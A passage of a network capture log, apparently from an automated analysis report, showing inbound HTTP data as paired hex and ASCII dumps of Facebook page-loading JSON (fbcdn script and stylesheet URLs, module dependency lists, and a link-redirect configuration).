2022-10-08 09:34:43 UTC	357	IN	Data Raw: 73 68 22 3a 22 41 54 36 38 6f 66 70 63 53 70 37 43 41 7a 4d 64 48 65 67 22 7d 2c 22 37 32 39 36 33 31 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 37 62 30 74 6a 38 41 48 57 47 35 6c 54 46 57 34 6b 22 7d 2c 22 31 32 38 31 35 30 35 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 50 48 5a 4d 39 67 46 6f 79 70 43 6a 51 6f 34 38 22 7d 2c 22 31 32 39 31 30 32 33 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 35 31 39 4c 73 65 49 47 31 6e 77 71 33 6f 38 63 55 22 7d 2c 22 31 32 39 34 31 38 32 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 76 64 36 6d 77 72 74 41 4a 6f 75 45 4a 4e 31 55 22 7d 2c 22 31 33 39 39 Data Ascii: sh":"AT68ofpcSp7CAzMdHeg"},"729631":{"result":false,"hash":"AT7b0tj8AHWG5lTFW4k"},"1281505":{"result":false,"hash":"AT4PHZM9gFoypCjQo48"},"1291023":{"result":false,"hash":"AT519LseIG1nwq3o8cU"},"1294182":{"result":false,"hash":"AT4vd6mwrtAJouEJN1U"},"1399
2022-10-08 09:34:43 UTC	358	IN	Data Raw: 5f 5c 2f 72 5c 2f 4b 49 34 53 30 6d 73 38 51 35 64 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 58 39 6e 72 36 35 61 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 4a 66 58 34 5c 2f 79 45 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 54 4d 4d 50 62 66 34 66 5f 6e 43 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 4b 73 62 52 73 33 75 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f Data Ascii: _\/r\/KI4S0ms8Q5d.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"X9nr65a":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iJfX4\/yE\/l\/en_US\/TMMPbf4f_nC.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"KsbRs3u":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/
2022-10-08 09:34:43 UTC	360	IN	Data Raw: 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 54 5c 2f 72 5c 2f 50 53 51 37 32 68 46 62 33 36 33 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 38 65 56 4d 41 6e 58 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 34 5c 2f 72 5c 2f 42 72 34 4e 55 44 4f 70 6b 4c 64 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 65 39 41 4e 7a 77 5c 2f 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 Data Ascii: rc.php\/v3\/yT\/r\/PSQ72hFb363.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"8eVMAnX":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y4\/r\/Br4NUDOpkLd.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"e9ANzw\/":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php
2022-10-08 09:34:43 UTC	361	IN	Data Raw: 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 5f 5c 2f 72 5c 2f 73 4a 37 4e 49 6a 73 4e 32 4e 41 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 64 41 78 58 30 6a 6a 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 35 5c 2f 72 5c 2f 5f 4b 5f 76 47 37 74 48 55 32 59 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 74 6a 6d 6b 2b 30 4b 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 Data Ascii: :\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y_\/r\/sJ7NIjsN2NA.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"dAxX0jj":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y5\/r\/_K_vG7tHU2Y.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"tjmk+0K":{"type":"js","src":"https:\/\/st
2022-10-08 09:34:43 UTC	363	IN	Data Raw: 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 47 44 70 76 74 4b 33 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 44 5c 2f 72 5c 2f 30 57 6d 61 66 66 41 57 66 78 68 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 50 64 39 56 6a 78 6c 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 63 78 48 34 5c 2f 79 69 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 47 6b 39 49 45 2d 2d 31 62 61 64 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 Data Ascii: z","nc":1},"GDpvtK3":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yD\/r\/0WmaffAWfxh.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"Pd9Vjxl":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3icxH4\/yi\/l\/en_US\/Gk9IE--1bad.js?_nc_x=Ij3Wp
2022-10-08 09:34:43 UTC	364	IN	Data Raw: 70 5c 2f 76 33 5c 2f 79 76 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 4e 54 32 69 5f 70 41 62 76 48 4a 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 46 4a 76 47 4b 5c 2f 6a 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 45 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 79 75 55 30 35 61 47 58 33 7a 35 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 5a 57 4a 38 78 38 55 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 Data Ascii: p\/v3\/yv\/l\/0,cross\/NT2i_pAbvHJ.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"FJvGK\/j":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yE\/l\/0,cross\/yuU05aGX3z5.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"ZWJ8x8U":{"type":"js","src":"https:\/\/static.xx.fbc
2022-10-08 09:34:43 UTC	366	IN	Data Raw: 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6a 51 37 6e 5c 2f 39 6a 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 71 5c 2f 72 5c 2f 53 78 72 75 62 71 6c 32 37 6f 39 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 49 32 78 6d 45 79 4f 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 51 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 43 74 62 70 4b 77 4a 6a 55 63 52 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 Data Ascii: z","nc":1},"jQ7n\/9j":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yq\/r\/Sxrubql27o9.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"I2xmEyO":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yQ\/l\/0,cross\/CtbpKwJjUcR.css?_nc_x=Ij3Wp
2022-10-08 09:34:43 UTC	367	IN	Data Raw: 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 4b 5c 2f 72 5c 2f 36 4d 53 34 32 77 6a 44 34 75 4f 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 52 32 53 57 59 47 38 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 35 7a 6c 34 5c 2f 79 36 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 50 38 68 59 4a 52 4d 45 5a 43 52 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6c 6c 34 5a 47 5c 2f 79 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 Data Ascii: tatic.xx.fbcdn.net\/rsrc.php\/v3\/yK\/r\/6MS42wjD4uO.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"R2SWYG8":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3i5zl4\/y6\/l\/en_US\/P8hYJRMEZCR.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"ll4ZG\/y":{"type":"js","src":"https
2022-10-08 09:34:43 UTC	368	IN	Data Raw: 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 73 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 5f 6c 34 53 39 49 78 4d 4b 4e 47 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6e 7a 41 4b 76 4c 79 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 71 5c 2f 72 5c 2f 68 6b 49 4b 57 6f 71 64 68 69 4c 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 69 4c 31 2b 43 4a 72 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e Data Ascii: t\/rsrc.php\/v3\/ys\/l\/0,cross\/_l4S9IxMKNG.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"nzAKvLy":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yq\/r\/hkIKWoqdhiL.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"iL1+CJr":{"type":"js","src":"https:\/\/static.xx.fbcdn
2022-10-08 09:34:43 UTC	370	IN	Data Raw: 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6a 6a 32 39 55 5a 42 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 64 5c 2f 72 5c 2f 30 4f 58 63 78 4b 6d 35 69 42 75 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 78 33 39 30 4f 72 69 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 7a 38 65 34 5c 2f 79 74 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 67 30 4b 5a 71 65 Data Ascii: css?_nc_x=Ij3Wp8lg5Kz","nc":1},"jj29UZB":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yd\/r\/0OXcxKm5iBu.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"x390Ori":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iz8e4\/yt\/l\/en_US\/g0KZqe
2022-10-08 09:34:43 UTC	371	IN	Data Raw: 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 6b 41 61 34 5c 2f 79 65 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 6f 71 4a 62 0d 0a Data Ascii: c.xx.fbcdn.net\/rsrc.php\/v3ikAa4\/ye\/l\/en_US\/oqJb
2022-10-08 09:34:43 UTC	371	IN	Data Raw: 32 34 62 64 0d 0a 64 39 73 72 36 4c 73 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 53 57 78 33 79 4e 76 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 44 5c 2f 72 5c 2f 52 78 33 62 34 36 63 74 71 56 77 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6f 45 34 44 6f 66 54 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 58 5c 2f 72 5c 2f 4d 61 66 4a 64 Data Ascii: 24bdd9sr6Ls.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"SWx3yNv":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yD\/r\/Rx3b46ctqVw.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"oE4DofT":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yX\/r\/MafJd
2022-10-08 09:34:43 UTC	373	IN	Data Raw: 33 45 77 71 6a 69 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 2c 22 42 61 6e 7a 61 69 53 63 75 62 61 5f 44 45 50 52 45 43 41 54 45 44 22 5d 2c 22 72 22 3a 5b 22 42 49 79 6c 4b 43 34 22 2c 22 68 4b 59 30 51 4b 54 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 49 6e 70 75 74 22 3a 7b 22 72 22 3a 5b 22 5a 32 47 6a 56 75 39 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 4c 69 76 65 22 3a 7b 22 72 22 3a 5b 22 65 39 41 4e 7a 77 5c 2f 22 2c 22 32 5c 2f 6d 61 51 5c 2f 51 22 2c 22 6e 36 57 34 78 4d 48 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 5c 2f 6f 35 59 76 4f 32 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 31 33 45 77 71 6a 69 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 54 6f 67 67 6c 65 Data Ascii: 3Ewqji"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent","BanzaiScuba_DEPRECATED"],"r":["BIylKC4","hKY0QKT"]},"be":1},"Input":{"r":["Z2GjVu9"],"be":1},"Live":{"r":["e9ANzw\/","2\/maQ\/Q","n6W4xMH","8zbEZtu","\/o5YvO2","vGt2mxz","13Ewqji"],"be":1},"Toggle
2022-10-08 09:34:43 UTC	374	IN	Data Raw: 75 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 63 39 68 4d 5a 73 7a 22 2c 22 36 71 62 77 33 50 51 22 2c 22 6c 57 4f 76 47 54 61 22 2c 22 6a 51 37 6e 5c 2f 39 6a 22 2c 22 49 32 78 6d 45 79 4f 22 2c 22 68 33 5a 7a 41 6d 47 22 2c 22 42 49 79 6c 4b 43 34 22 2c 22 52 70 4d 75 38 48 64 22 2c 22 64 33 30 54 44 65 36 22 2c 22 6e 41 47 52 49 34 69 22 2c 22 49 47 35 79 4a 46 4d 22 2c 22 65 50 65 34 5a 52 36 22 2c 22 63 59 55 33 63 33 32 22 2c 22 46 6e 33 72 41 6c 37 22 2c 22 4c 38 6b 70 71 79 46 22 2c 22 75 6f 62 75 6d 4c 70 22 2c 22 52 50 4c 48 38 6a 67 22 2c 22 44 39 58 42 33 67 6a 22 2c 22 30 37 4a 53 69 50 30 22 2c 22 57 32 4c 37 42 53 63 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 41 6e 69 6d 61 74 69 6f 6e 22 2c 22 56 69 73 75 61 6c 43 6f 6d 70 6c 65 74 69 6f Data Ascii: u","vGt2mxz","c9hMZsz","6qbw3PQ","lWOvGTa","jQ7n\/9j","I2xmEyO","h3ZzAmG","BIylKC4","RpMu8Hd","d30TDe6","nAGRI4i","IG5yJFM","ePe4ZR6","cYU3c32","Fn3rAl7","L8kpqyF","uobumLp","RPLH8jg","D9XB3gj","07JSiP0","W2L7BSc"],"rds":{"m":["Animation","VisualCompletio
2022-10-08 09:34:43 UTC	376	IN	Data Raw: 22 2c 22 5a 32 47 6a 56 75 39 22 2c 22 43 71 52 43 4a 4b 6c 22 2c 22 4e 4d 55 4c 65 78 44 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 6c 57 4f 76 47 54 61 22 2c 22 68 33 5a 7a 41 6d 47 22 2c 22 42 49 79 6c 4b 43 34 22 2c 22 46 6e 33 72 41 6c 37 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 22 72 22 3a 5b 22 68 4b 59 30 51 4b 54 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 41 73 79 6e 63 44 69 61 6c 6f 67 22 3a 7b 22 72 22 3a 5b 22 63 67 66 32 64 64 58 22 2c 22 64 69 6f 67 56 61 75 22 2c 22 59 74 55 33 43 35 75 22 2c 22 64 41 78 58 30 6a 6a 22 2c 22 73 72 50 6d 64 74 34 22 2c 22 71 71 62 39 58 4a 67 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 50 66 34 6f 47 4b Data Ascii: ","Z2GjVu9","CqRCJKl","NMULexD","vGt2mxz","lWOvGTa","h3ZzAmG","BIylKC4","Fn3rAl7"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent"],"r":["hKY0QKT"]},"be":1},"AsyncDialog":{"r":["cgf2ddX","diogVau","YtU3C5u","dAxX0jj","srPmdt4","qqb9XJg","R5w1rCJ","Pf4oGK
2022-10-08 09:34:43 UTC	377	IN	Data Raw: 22 2c 22 30 37 4a 53 69 50 30 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 2c 22 41 6e 69 6d 61 74 69 6f 6e 22 2c 22 50 61 67 65 54 72 61 6e 73 69 74 69 6f 6e 73 22 2c 22 42 61 6e 7a 61 69 53 63 75 62 61 5f 44 45 50 52 45 43 41 54 45 44 22 5d 2c 22 72 22 3a 5b 22 68 4b 59 30 51 4b 54 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 45 78 63 65 70 74 69 6f 6e 44 69 61 6c 6f 67 22 3a 7b 22 72 22 3a 5b 22 63 67 66 32 64 64 58 22 2c 22 64 69 6f 67 56 61 75 22 2c 22 59 74 55 33 43 35 75 22 2c 22 48 35 62 43 74 61 54 22 2c 22 64 41 78 58 30 6a 6a 22 2c 22 73 72 50 6d 64 74 34 22 2c 22 71 71 62 39 58 4a 67 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 50 66 34 6f 47 4b 44 Data Ascii: ","07JSiP0"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent","Animation","PageTransitions","BanzaiScuba_DEPRECATED"],"r":["hKY0QKT"]},"be":1},"ExceptionDialog":{"r":["cgf2ddX","diogVau","YtU3C5u","H5bCtaT","dAxX0jj","srPmdt4","qqb9XJg","R5w1rCJ","Pf4oGKD
2022-10-08 09:34:43 UTC	379	IN	Data Raw: 35 75 22 2c 22 73 72 50 6d 64 74 34 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 50 66 34 6f 47 4b 44 22 2c 22 49 61 52 5c 2f 36 75 50 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 4a 41 46 7a 4d 4f 71 22 2c 22 36 71 62 77 33 50 51 22 2c 22 46 6e 33 72 41 6c 37 22 2c 22 30 37 4a 53 69 50 30 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 58 55 49 44 69 61 6c 6f 67 46 6f 6f 74 65 72 2e 72 65 61 63 74 22 3a 7b 22 72 22 3a 5b 22 59 74 55 33 43 35 75 22 2c 22 73 72 50 6d 64 74 34 22 2c 22 71 71 62 39 58 4a 67 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 50 66 34 6f 47 4b 44 22 2c 22 49 61 52 5c 2f 36 75 50 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 4a 41 46 7a 4d 4f 71 22 2c 22 37 39 56 39 63 56 5a 22 2c 22 36 71 62 77 33 50 51 22 2c 22 46 6e 33 72 41 6c 37 22 2c 22 30 37 4a 53 69 50 30 22 5d Data Ascii: 5u","srPmdt4","R5w1rCJ","Pf4oGKD","IaR\/6uP","8zbEZtu","JAFzMOq","6qbw3PQ","Fn3rAl7","07JSiP0"],"be":1},"XUIDialogFooter.react":{"r":["YtU3C5u","srPmdt4","qqb9XJg","R5w1rCJ","Pf4oGKD","IaR\/6uP","8zbEZtu","JAFzMOq","79V9cVZ","6qbw3PQ","Fn3rAl7","07JSiP0"]
2022-10-08 09:34:43 UTC	380	IN	Data Raw: 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 54 69 6d 65 53 6c 69 63 65 2c 53 65 72 76 65 72 4a 53 29 7b 76 61 72 20 73 3d 28 6e 65 77 20 53 65 72 76 65 72 4a 53 28 29 29 3b 73 2e 68 61 6e 64 6c 65 28 7b 22 64 65 66 69 6e 65 22 3a 5b 5b 22 4c 69 6e 6b 73 68 69 6d 48 61 6e 64 6c 65 72 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 73 75 70 70 6f 72 74 73 5f 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 3a 66 61 6c 73 65 2c 22 64 65 66 61 75 6c 74 5f 6d 65 74 61 5f 72 65 66 65 72 72 65 72 5f 70 6f 6c 69 63 79 22 3a 22 64 65 66 61 75 6c 74 22 2c 22 73 77 69 74 63 68 65 64 5f 6d 65 74 61 5f 72 65 66 65 72 72 65 72 5f 70 6f 6c 69 63 79 22 3a 22 6f 72 69 67 69 6e 22 2c 22 6e 6f 6e 5f 6c 69 6e 6b 73 68 69 6d 5f 6c 6e 66 62 5f 6d 6f 64 65 22 3a 22 69 65 22 2c 22 6c 69 6e 6b 5f 72 65 Data Ascii: "],function(TimeSlice,ServerJS){var s=(new ServerJS());s.handle({"define":[["LinkshimHandlerConfig",[],{"supports_meta_referrer":false,"default_meta_referrer_policy":"default","switched_meta_referrer_policy":"origin","non_linkshim_lnfb_mode":"ie","link_re
2022-10-08 09:34:43 UTC	381	IN	Data Raw: 33 64 38 36 0d 0a 66 77 6f 66 67 6a 53 43 74 4b 59 71 41 22 2c 22 75 6e 74 72 75 73 74 65 64 5f 6c 69 6e 6b 5f 64 65 66 61 75 6c 74 5f 68 61 73 68 22 3a 22 41 54 31 68 4f 61 2d 46 38 47 6e 32 59 45 7a 4c 34 55 78 4b 71 6e 32 72 37 50 5a 68 42 57 47 6a 67 72 49 4c 4e 49 70 62 4e 47 30 44 70 6e 48 69 61 66 37 70 68 33 73 2d 63 63 45 48 4e 78 4d 55 62 6e 71 54 64 64 30 77 59 57 64 6d 48 5f 64 32 52 38 70 63 6d 56 32 59 72 72 4d 42 79 57 6d 5a 55 65 2d 33 67 6c 49 76 66 59 6c 58 5a 34 72 45 31 46 65 6e 72 6d 55 56 50 57 37 6f 31 66 69 59 4d 30 6f 78 4f 51 61 39 67 36 7a 59 62 65 67 45 46 4b 4a 41 51 41 22 2c 22 6c 69 6e 6b 73 68 69 6d 5f 68 6f 73 74 22 3a 22 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 22 2c 22 6c 69 6e 6b 73 68 69 6d 5f 70 61 74 68 22 3a 22 5c Data Ascii: 